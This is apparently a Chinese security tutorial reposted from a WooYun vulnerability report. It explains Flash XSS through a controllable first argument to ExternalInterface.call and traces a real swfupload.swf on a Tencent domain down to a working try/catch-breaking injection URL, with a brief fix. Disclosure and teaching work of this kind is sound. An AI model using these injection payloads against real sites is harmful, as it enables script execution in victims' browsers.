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# 15\. Flash Xss 进阶 [ExternalInterface.call 第一个参数] > 来源:[15\. Flash Xss 进阶 \[ExternalInterface.call 第一个参数\]](http://www.wooyun.org/bugs/wooyun-2010-016532) ## 简要描述 除了上一节讲到的 `navigateToURL/getURL` 之外呢,另一个经常存在 XSS 缺陷的 as 函数就是 `ExternalInterface.call`,此函数作为 FLASH 与宿主页面 javascript 通信的接口,一般来说,有“2”个参数,第一个参数为所调用 js 函数名,后续的其他参数则为所调用的 js 函 数的参数。那么在参数可控的情况下,不论是第一个参数或是后续参数可控,我们均能加以利用实现 XSS。本节先说一说第一个参数可 控的情况。 1\. 先从程序员的角度说下基础知识,有时候,我们需要在 FLASH 里调用当前页面中的 javascript 函数,例如:一个简单的需求,我们 要在游戏加载完成后,执行弹出 1 的操作。 javascript 代码: `alert(1)` as 代码 `ExternalInterface.call("alert","1");` 2\. 有的程序员就会觉得,直接弹出 1 太丑了吧。于是他自己写个 js 的函数 ``` function myalert(str){ //显示一个漂亮的浮动层,并且把 str 显示在上面。 } ``` 然后在 as 里 `ExternalInterface.call("myalert","1");` 3\. 又有一天,另外一个程序员觉得上面那个程序员写的东西不错,但是他的 JS 函数名不叫 myalert,于是喊那个程序员改下 as 代码。 于是那个程序员觉得,免得以后老是有人喊我改代码,他就将代码写成了下面这个样子。 ``` var func:String=root.loaderInfo.parameters.func; //接受 FLASH 所带的 func 参数 ExternalInterface.call(func,"1"); ``` [这样一来,其他想用这个 FLASH 的人,不需要修改 FLASH,只需要调用 FLASH 的时候带上参数即可。 比如我的 JS 函数是 newalert, 我只需要按照下面这么调用: http://some.com/xxx.swf?func=newalert 4\. 上述过程提高了程序的可重用性,为开发人员带来了极大的便利,但是却是缺乏安全考虑的。 攻击者可以采用以下的方式来执行自己的代码 ``` http://some.com/xxx.swf?func=(function({alert("hi jack")}) ``` 5\. 为了方便理解,我们可以将 ``` ExternalInterface.call("函数名","参数 1"); ``` 看成 JS 里的 ``` 函数名("参数 1"); ``` 而 FLASH 里实际最后执行的 JS 代码,形式如下(至于下面这句哪里来的,暂时不表): ``` try { flash toXML(函数名("参数 1")) ; } catch (e) { "<undefined/>"; } ``` 因而 函数名 部分也可以写为 `(function(){alert("hi jack")})` 的形式。 6\. 上面说的是理论基础,有了这个基础,我们来看实例,就比较简单了。 http://quan.qq.com/swf/swfupload.swf 7\. 怎么反编译,见上一篇。我们来看怎么查找缺陷。 8\. 因为这是一个 AS3.0 的 FLASH 文件,我们首先确定 FLASH 是否有接受参数。 as3.0 接受参数的方法,所有参数存放在 `root.loaderInfo.parameters` 对象里。 例如 `aaa.swf?a=1&b=2&c=3` ,那么 `root.loaderInfo.parameters` 则等于 ``` { "a":1, "b":2, "c":3 } ``` 9\. 我们可以定位到 movieName 变量 ![image](https://box.kancloud.cn/2016-03-23_56f2504398dbd.jpg) 可以看出,FLASH 的 movieName 参数,存放到了 this.movieName 中。 10\. 进一步, `this.movieName` 被带入了到了 `this.flashReady_Callback` 及其它变量。 ![image](https://box.kancloud.cn/2016-03-23_56f25043a8489.jpg) ``` this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady"); ``` 11\. 我们再进一步看看,`this.flashReady_Callback` 被用到了哪里。 ![image](https://box.kancloud.cn/2016-03-23_56f25043c20aa.jpg) 12\. 再接着看看调用 `this.flashReady_Callback` 的 Simple 函数是啥样子的。 ![image](https://box.kancloud.cn/2016-03-23_56f25043d5a75.jpg) 可以看到,最终这个参数被放到 `ExternalInterface.call` 的第一个参数中执行了。 13\. 是不是很激动。我们来假设一下,按下面调用 FLASH http://quan.qq.com/swf/swfupload.swf?movieName=aaaaaaaa 那么 `this.flashReady_Callback` 就等于以下内容。 `SWFUpload.instances["aaaaaaaa"].flashReady` 最终调用的是 `ExternalInterface.call('SWFUpload.instances["aaaaaaaa"].flashReady');` 14\. 如果我们要调用自己的 JS 代码,就需要构造闭合,但是你会发现有一定问题。。 我们最多能够造成下面的模样。 ``` ExternalInterface.call('SWFUpload.instances["aaa"]; function SWFUpload(){}; SWFUpload["aaa"].flashReady'); ``` 但是这样是无法正确执行的,因为 `SWFUpload.instances` 没有被定义,从而 `SWFUpload.instances["aaa"]`会失败。 15\. 怎么办呢?这里就要拿出我们第 5 步里的知识了。我们把“函数名”换成 call 的第一个参数内容。变成下面的形式。 ``` try { flash toXML(SWFUpload.instances["aaaaaaaa"].flashReady("参数 1")) ; } catch (e) { "&lt;undefined/&gt;"; } ``` 我们再基于以上代码来构造, ``` try { flash toXML(SWFUpload.instances["aaa"])}catch(e){alert(1)};//"].flashReady("参数 1")) ; } catch (e){ "<undefined/>"; } ``` 图片解析: ![image](https://box.kancloud.cn/2016-03-23_56f2504405a53.jpg) ``` try { flash toXML(SWFUpload.instances["aaa"]) //此行代码,因为 SWFUpload 未定义,出错,跳转到 catch 部分 }catch(e){ alert(1); //这里将会被执行。 }; //"].flashReady("参数 1")) ; } catch (e) { "<undefined/>"; } ``` 16\. 最后,我们把构造的代码,放进 FLASH 的参数里 ``` http://quan.qq.com/swf/swfupload.swf?movieName=aaa"])}catch(e){alert(1)};// ``` 可以看到成功执行 `alert(1)` ![image](https://box.kancloud.cn/2016-03-23_56f250441a63d.jpg) 修复方案: 对传入 call 的字符串进行判断或过滤操作。